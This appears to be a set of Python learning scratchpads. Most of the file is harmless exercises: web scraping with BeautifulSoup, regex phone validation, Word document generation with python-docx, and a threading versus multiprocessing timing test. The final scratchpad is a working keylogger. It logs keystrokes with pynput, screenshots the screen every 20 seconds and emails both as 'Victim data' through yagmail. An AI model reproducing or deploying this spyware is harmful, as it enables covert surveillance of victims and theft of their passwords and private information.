#         "/html/body/div[1]/div/div/div[4]/div/footer/div[1]/div/span[2]/div/div[2]/div[1]/div/div[1]/p",
#     )
#     sleep(1)
#     message_box.click()
#     message_box.send_keys("Test Message", Keys.ENTER)
#     sleep(1)

# sleep(10)

Scratchpad 21

# # # html = """
# # # <html>
# # #     <head>
# # #         <title>My Application</title>
# # #     </head>
# # #     <body>
# # #         <h1>Hello World</h1>
# # #         <h2>Hello World from H2</h2>
# # #         <p><b>This is some para</b> and this is some more content.</p>
# # #         <p id="special">
# # #             Lorem ipsum dolor sit amet consectetur adipisicing elit. Quas, vitae
# # #             quasi. Itaque hic vero porro animi ipsam, laudantium esse nobis deleniti
# # #             aliquam et sed. At deserunt omnis commodi repellat. Animi!
# # #         </p>
# # #         <ul>
# # #             <li class="red-text">
# # #                 Lorem ipsum dolor sit amet, consectetur adipisicing elit. Cum, facere.
# # #             </li>
# # #             <li class="red-text">
# # #                 Second List item
# # #             </li>
# # #             <li class="red-text">
# # #                 Something else
# # #             </li>
# # #             <li>
# # #                 Last item in the list
# # #             </li>
# # #         </ul>
# # #     </body>
# # # </html>
# # # """

# # # from bs4 import BeautifulSoup

# # # soup = BeautifulSoup(html, "html.parser")

# # # # print(soup.body.h1)
# # # # print(type(soup))

# # # # print(soup.find("h2"))
# # # # print(soup.find("li"))
# # # # print(soup.find_all("li"))
# # # # print(soup.find(id="special"))
# # # # print(soup.find(class_="red-text"))
# # # # print(soup.find_all(class_="red-text"))
# # # # print(soup.find("h2").get_text())
# # # # rt = soup.find(class_="red-text")
# # # # print(rt.find_next_sibling().find_next_sibling())
# # # # print(rt.find_parent().find_parent().find_parent())
# # # # print(soup.find("li")["class"])

# # import requests
# # from bs4 import BeautifulSoup
# # from csv import writer

# # response = requests.get("https://arstechnica.com/")
# # soup = BeautifulSoup(response.text, "html.parser")

# # articles = soup.find_all(class_="article")

# # with open("articles.csv", "w", newline="") as file:
# #     csv_writer = writer(file)
# #     csv_writer.writerow(["title", "excerpt", "author", "date", "link"])

# #     for article in articles:
# #         title = article.find("h2").get_text()
# #         excerpt = article.find(class_="excerpt").get_text()
# #         author = article.find("span").get_text()
# #         date = article.find("time").get_text()
# #         link = article.find("a")["href"]

# #         csv_writer.writerow([title, excerpt, author, date, link])


# import re

# # pattern = re.compile(r"\d{3}\s?\d{4}\s?\d{4}")

# # result = pattern.search(
# #     "Hello world, you can call us at 022 2345 7867 or 02123457865 today!"
# # )
# # print(result.group())

# # result = pattern.findall(
# #     "Hello world, you can call us at 022 2345 7867 or 02123457865 today!"
# # )
# # print(result)


# def extract_phone(inp):
#     phone_re = re.compile(r"\d{3}\s?\d{4}\s?\d{4}")
#     return phone_re.findall(inp)


# def validate_landline_no(phone_no):
#     phone_re = re.compile(r"\d{3}\s?\d{4}\s?\d{4}")
#     match = phone_re.fullmatch(phone_no)
#     if match:
#         return True
#     return False


# print(validate_landline_no("02223456789"))


# # 21 Jan, 2023
# # 192.168.3.45

import docx
from docx.enum.text import WD_ALIGN_PARAGRAPH

doc = docx.Document()

doc.add_heading("This is some important title", level=0)
doc.add_heading("My semi-important subtitle", level=2)

para = doc.add_paragraph(
    "Lorem ipsum dolor sit amet consectetur adipisicing elit. Aut commodi consequatur repellat inventore fuga ipsa eveniet quae, nulla, ad est incidunt asperiores! Magni beatae deserunt debitis non perspiciatis harum eos."
)
para.add_run("\nHello World")
doc.add_page_break()
doc.add_heading("Another page", level=1)
para2 = doc.add_paragraph(
    "Lorem ipsum dolor sit amet consectetur adipisicing elit. Aut commodi consequatur repellat inventore fuga ipsa eveniet quae, nulla, ad est incidunt asperiores! Magni beatae deserunt debitis non perspiciatis harum eos."
)
para2.alignment = WD_ALIGN_PARAGRAPH.RIGHT

doc.save("my_doc.docx")

from datetime import datetime
import threading
import multiprocessing


def dummy_func(x):
    print(f"Job-{x} started: {datetime.now()}")
    a = []
    for i in range(30000):
        for j in range(2000):
            a.append([i, j])
            a.clear()
    print(f"Job-{x} ended: {datetime.now()}")


start_time = datetime.now()
dummy_func(1)
dummy_func(2)
dummy_func(3)
dummy_func(4)
print(f"Total time taken: {datetime.now() - start_time}")

if __name__ == "__main__":
    t1 = threading.Thread(target=dummy_func, args=(1,))
    t2 = threading.Thread(target=dummy_func, args=(2,))
    t3 = threading.Thread(target=dummy_func, args=(3,))
    t4 = threading.Thread(target=dummy_func, args=(4,))

    start_time = datetime.now()
    t1.start()
    t2.start()
    t3.start()
    t4.start()
    t1.join()
    t2.join()
    t3.join()
    t4.join()
    print(f"Total time taken: {datetime.now() - start_time}")

    p1 = multiprocessing.Process(target=dummy_func, args=(1,))
    p2 = multiprocessing.Process(target=dummy_func, args=(2,))
    p3 = multiprocessing.Process(target=dummy_func, args=(3,))
    p4 = multiprocessing.Process(target=dummy_func, args=(4,))

    start_time = datetime.now()
    p1.start()
    p2.start()
    p3.start()
    p4.start()
    p1.join()
    p2.join()
    p3.join()
    p4.join()
    print(f"Total time taken: {datetime.now() - start_time}")

Scratchpad 22

from pynput.keyboard import Key, Listener
import pyautogui
from time import sleep
import yagmail
from datetime import datetime

count = 0
keys = []

try:

    def on_press(key):
        global keys, count
        keys.append(key)
        count += 1
        if count >= 10:
            write_file(keys)
            keys = []

    def write_file(keys):
        with open("log.txt", "a") as f:
            for key in keys:
                k = str(key).replace("'", "")
                if k.find("space") > 0:
                    f.write(str(" "))
                elif k.find("cap_lock") > 0:
                    f.write(str("<CAPS_LOCK>"))
                elif k.find("enter") > 0:
                    f.write("\n")
                elif k.find("Key") == -1:
                    f.write(k)

    def on_release(key):
        if key == Key.esc:
            return False

    def take_screenshot():
        screen = pyautogui.screenshot()
        screen.save("screenshot.png")

    def send_email():
        receiver_email = ""
        subject = f'Victim data - {datetime.now().strftime("%d-%m-%Y :: %H:%M:%S")}'
        yag = yagmail.SMTP("", "")
        contents = ["<b><font color='red' size='10'>YOUR VICTIM DATA</font></b>"]
        attachments = ["log.txt", "screenshot.png"]
        yag.send(receiver_email, subject, contents, attachments)
        print("Email sent")

    with Listener(on_press=on_press, on_release=on_release) as listener:
        while True:
            sleep(20)
            take_screenshot()
            send_email()
        listener.join()

except KeyboardInterrupt:
    print("Program closed")